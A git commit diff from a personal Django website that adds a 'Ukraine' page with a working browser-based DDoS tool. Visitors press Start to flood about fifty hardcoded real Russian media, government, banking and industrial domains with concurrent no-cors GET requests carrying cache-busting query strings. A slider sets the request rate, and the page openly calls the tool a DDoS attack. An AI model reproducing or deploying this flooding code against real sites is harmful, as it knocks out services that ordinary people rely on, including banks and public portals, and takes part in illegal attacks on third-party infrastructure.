This code needs some love. Unlike russian servers.

* DDoS Russian domains
* All are optional
* Select how hard you want to beat your russian
* Patches will come, but this works for now.
This commit is contained in:
Marcel Plch 2022-03-04 16:50:37 +01:00
parent ff09a20887
commit 1fa5c74b75
Signed by untrusted user who does not match committer: dormouse
GPG key ID: C731A783983CB9D9
8 changed files with 267 additions and 109 deletions

View file

@ -0,0 +1,20 @@
.domain-wrapper {
display: flex;
flex-flow: row wrap;
justify-content: space-between;
width: 95%;
font-size: 11pt;
}
.domain-segment-checkbox {
width: 5%;
}
.domain-segment-domain {
width: 45%;
}
.domain-segment-req {
width: 25%;
}
.domain-segment-err {
width: 25%;
}

View file

@ -1,74 +1,19 @@
var targets = {
'https://lenta.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://ria.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://ria.ru/lenta/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.rbc.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.rt.com/': {number_of_requests: 0, number_of_errored_responses: 0},
'http://kremlin.ru/': {number_of_requests: 0, number_of_errore_responses: 0},
'http://en.kremlin.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://smotrim.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://tass.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://tvzvezda.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://vsoloviev.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.1tv.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.vesti.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://online.sberbank.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://sberbank.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://zakupki.gov.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.gosuslugi.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://er.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.rzd.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://rzdlog.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://vgtrk.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.interfax.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.mos.ru/uslugi/': {number_of_requests: 0, number_of_errored_responses: 0},
'http://government.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://mil.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.nalog.gov.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://customs.gov.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://pfr.gov.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://rkn.gov.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.gazprombank.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.vtb.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.gazprom.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://lukoil.ru': {number_of_requests: 0, number_of_errored_responses: 0},
'https://magnit.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.nornickel.com/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.surgutneftegas.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.tatneft.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.evraz.com/ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://nlmk.com/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.sibur.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.severstal.com/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.metalloinvest.com/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://nangs.org/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://rmk-group.ru/ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.tmk-group.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://ya.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.polymetalinternational.com/ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.uralkali.com/ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://www.eurosib.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://ugmk.ua/': {number_of_requests: 0, number_of_errored_responses: 0},
'https://omk.ru/': {number_of_requests: 0, number_of_errored_responses: 0},
};
var statsEl = document.getElementById('stats');
function printStats () {
statsEl.innerHTML = '<table width="100%"><thead><tr><th>URL</th><th>Number of Requests</th><th>Number of Errors</th></tr></thead><tbody>' + Object.entries(targets).map(([target, {
number_of_requests,
number_of_errored_responses
}]) => '<tr><td>' + target + '</td><td>' + number_of_requests + '</td><td>' + number_of_errored_responses + '</td></tr>').join('') + '</tbody></table>';
}
setInterval(printStats, 1000);
var CONCURRENCY_LIMIT = 1000;
var CONCURRENCY_LIMIT = 50;
var queue = [];
var stop = false
function req_update() {
slider = document.querySelector("#requests");
infobox = document.querySelector("#amount");
CONCURRENCY_LIMIT = slider.value;
infobox.innerHTML = slider.value;
}
async function fetchWithTimeout(resource, options) {
const controller = new AbortController();
const id = setTimeout(() => controller.abort(), options.timeout);
return fetch(resource, {
method: 'GET',
mode: 'no-cors',
@ -82,29 +27,63 @@ async function fetchWithTimeout (resource, options) {
});
}
async function flood (target) {
for (var i = 0; ; ++i) {
if (queue.length > CONCURRENCY_LIMIT) {
await queue.shift();
async function flood() {
// Collect selected domains
let targets = [];
let stat = document.querySelector("#status")
let domains = document.querySelectorAll(".domain-wrapper");
domains.forEach((domain) => {
if (domain.children[0].children[0].checked) {
domain.errors = 0;
domain.requests = 0;
targets.push(domain);
}
rand = i % 3 === 0 ? '' : ('?' + Math.random() * 1000);
});
stat.innerHTML = "Status: on"
for (var i = 0; ; ++i) {
randarg = i % 3 === 0 ? '' : ('?' + Math.random() * 1000);
rand = Math.floor(Math.random() * targets.length) % targets.length;
target = targets[rand];
queue.push(
fetchWithTimeout(target + rand, {timeout: 1000})
.catch((error) => {
fetchWithTimeout(target.children[1].innerHTML.trim() + randarg, {"timeout": 1000}
).catch((error) => {
if (error.code === 20 /* ABORT */) {
return;
}
targets[target].number_of_errored_responses++;
})
.then((response) => {
target.errors++;
}
).then((response) => {
if (response && !response.ok) {
targets[target].number_of_errored_responses++;
target.errors++;
}
targets[target].number_of_requests++;
})
target.requests++;
}
)
);
if (queue.length >= CONCURRENCY_LIMIT) {
await queue.shift();
}
if (stop) {
queue = [];
stat.innerHTML = "Status: off"
stop = false
return
}
}
var _paq = window._paq = window._paq || []; _paq.push(['trackPageView']); _paq.push(['enableLinkTracking']); (function() { var u="https://area51.vug.pl/"; _paq.push(['setTrackerUrl', u+'matomo.php']); _paq.push(['setSiteId', '1']); var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0]; g.async=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s); })();
// Start
Object.keys(targets).map(flood);
}
function printStats() {
domains = document.querySelectorAll(".domain-wrapper");
domains.forEach((domain) => {
domain.children[2].innerHTML = `requests: ${domain.requests}`;
domain.children[3].innerHTML = `errors: ${domain.errors}`;
});
}
setInterval(printStats, 1000);

View file

@ -18,13 +18,14 @@ function navbar_click() {
if (!nav.state.open) {
nav.classList.add("navbar-active");
nav.classList.remove("navbar");
nav.children[3].innerHTML = "<"
// TODO: This breaks with every new page added
nav.children[4].innerHTML = "<"
nav.state.open = true;
}
else {
nav.classList.remove("navbar-active");
nav.classList.add("navbar");
nav.children[3].innerHTML = ">"
nav.children[4].innerHTML = ">"
nav.state.open = false;
}
}

View file

@ -38,6 +38,11 @@
<div class="navbar-block">
Curriculum Vitae
</div>
<a href="/ukraine">
<div class="navbar-block">
<img src="{% static "base_app/img/ukraine.png" %}" width="16" style="display:inline">
Ukraine
</div>
</a>
<div class="navbar-button"
onclick="navbar_click()"
@ -63,6 +68,9 @@
<div class="ftr-block">
<p><b>Mastodon: </b>@dormouse@mas.to</p>
</div>
<div class="ftr-block">
<p><b>Jabber/XMPP: </b>@dormouse@plch.xyz</p>
</div>
</div>
<div class="key">
<div>

View file

@ -0,0 +1,77 @@
{% extends "layout.html" %}
{% load static %}
{% block headerExtension %}
<link rel="stylesheet" href="{% static "base_app/css/ukraine.css" %}">
{% endblock %}
{% block content %}
<div class="page">
<h1 style="display:inline"> Glory to Ukraine!
<img src="{% static "base_app/img/ukraine.png" %}" width="48">
</h1>
<h2> Glory to heroes! </h2>
<h3> Say no to propaganda </h3>
<p>
This website is inspired by <a
href="https://vug.pl/takeRussiaDown.html">vug.pl</a> (Careful,
this will immediately launch a DoS attack against russian servers.)
</p>
<p>
Please bookmark that website as well, any page like this is at risk of
being taken down. If you wish to contact me about this effort, please do so
by encrypted means. I will send tutorials and help explain how to, if you do not
posses such skills.
</p>
<p>
Thank you for your help.
</p>
<h3>What can I do?</h3>
<p>
Below, you can see a list of domains and a start button. If you click
the start button, you launch a <a
href="https://en.wikipedia.org/wiki/Denial-of-service_attack">
DDoS&nbspattack</a>&nbsp(Wikipedia)
against russian servers and disinformation websites
directly connected to, or exclusively sourcing, russian propaganda.
</p>
<p>
If you believe some website is missing or shouldn't be here, please
contact me using the information in the footer.
</p>
<input type="button" value="Start" onclick="flood()">
<input type="button" value="Stop" onclick="stop=true">
<p id="status">Status: off</p>
<p>Max requests (more is better, pull down if browser is unusable):</p>
<div class="slidecontainer" onchange="req_update()">
<input type="range" min="1" max="512" value="50" class="slider" id="requests">
</div>
<p id="amount">50</p>
<p>Un/selecting a domain requres restart.</p>
{% for domain in domains %}
<div class="domain-wrapper">
<div class="domain-segment-checkbox">
<input type="checkbox" checked="true">
</div>
<div class="domain-segment-domain">
{{ domain }}
</div>
<div class="domain-segment-req">
requests: 0
</div>
<div class="domain-segment-err">
errors: 0
</div>
</div>
{% endfor %}
</div>
<script src="{% static "base_app/js/fuck_putin.js" %}"></script>
{% endblock %}

View file

@ -1,9 +1,21 @@
from django.shortcuts import render
# Create your views here.
from django.shortcuts import render, redirect
from django.views.generic import TemplateView, FormView
import json
# Helper functions
def get_domains():
domains = None
with open("data/domains.json", "r") as f:
data = f.read()
domains = json.loads(data)
return domains
# Create your views here.
class IndexView(TemplateView):
def get(self, request, *args, **kwargs):
@ -19,3 +31,10 @@ class LoremView(TemplateView):
def get(self, request, *args, **kwargs):
return render(request, "lorem.html", {})
class UkraineView(TemplateView):
def get(self, request, *args, **kwargs):
domains = get_domains()
return render(request, "ukraine.html", {"domains" : domains})

53
data/domains.json Normal file
View file

@ -0,0 +1,53 @@
[
"https://lenta.ru/",
"https://ria.ru/",
"https://ria.ru/lenta/",
"https://www.rbc.ru/",
"https://www.rt.com/",
"http://kremlin.ru/",
"http://en.kremlin.ru/",
"https://smotrim.ru/",
"https://tass.ru/",
"https://tvzvezda.ru/",
"https://vsoloviev.ru/",
"https://www.1tv.ru/",
"https://www.vesti.ru/",
"https://online.sberbank.ru/",
"https://sberbank.ru/",
"https://zakupki.gov.ru/",
"https://www.gosuslugi.ru/",
"https://er.ru/",
"https://www.rzd.ru/",
"https://rzdlog.ru/",
"https://vgtrk.ru/",
"https://www.interfax.ru/",
"https://www.mos.ru/uslugi/",
"http://government.ru/",
"https://mil.ru/",
"https://www.nalog.gov.ru/",
"https://customs.gov.ru/",
"https://pfr.gov.ru/",
"https://rkn.gov.ru/",
"https://www.gazprombank.ru/",
"https://www.vtb.ru/",
"https://www.gazprom.ru/",
"https://lukoil.ru",
"https://magnit.ru/",
"https://www.nornickel.com/",
"https://www.surgutneftegas.ru/",
"https://www.tatneft.ru/",
"https://www.evraz.com/ru/",
"https://nlmk.com/",
"https://www.sibur.ru/",
"https://www.severstal.com/",
"https://www.metalloinvest.com/",
"https://nangs.org/",
"https://rmk-group.ru/ru/",
"https://www.tmk-group.ru/",
"https://ya.ru/",
"https://www.polymetalinternational.com/ru/",
"https://www.uralkali.com/ru/",
"https://www.eurosib.ru/",
"https://ugmk.ua/",
"https://omk.ru/"
]

View file

@ -15,11 +15,12 @@ Including another URLconf
"""
from django.contrib import admin
from django.urls import path
from base_app.views import IndexView, LoremView, CVView
from base_app.views import IndexView, LoremView, CVView, UkraineView
urlpatterns = [
path('admin/', admin.site.urls),
path('', IndexView.as_view()),
path('lorem-ipsum/', LoremView.as_view()),
path('curriculum-vitae/', CVView.as_view()),
path('ukraine/', UkraineView.as_view()),
]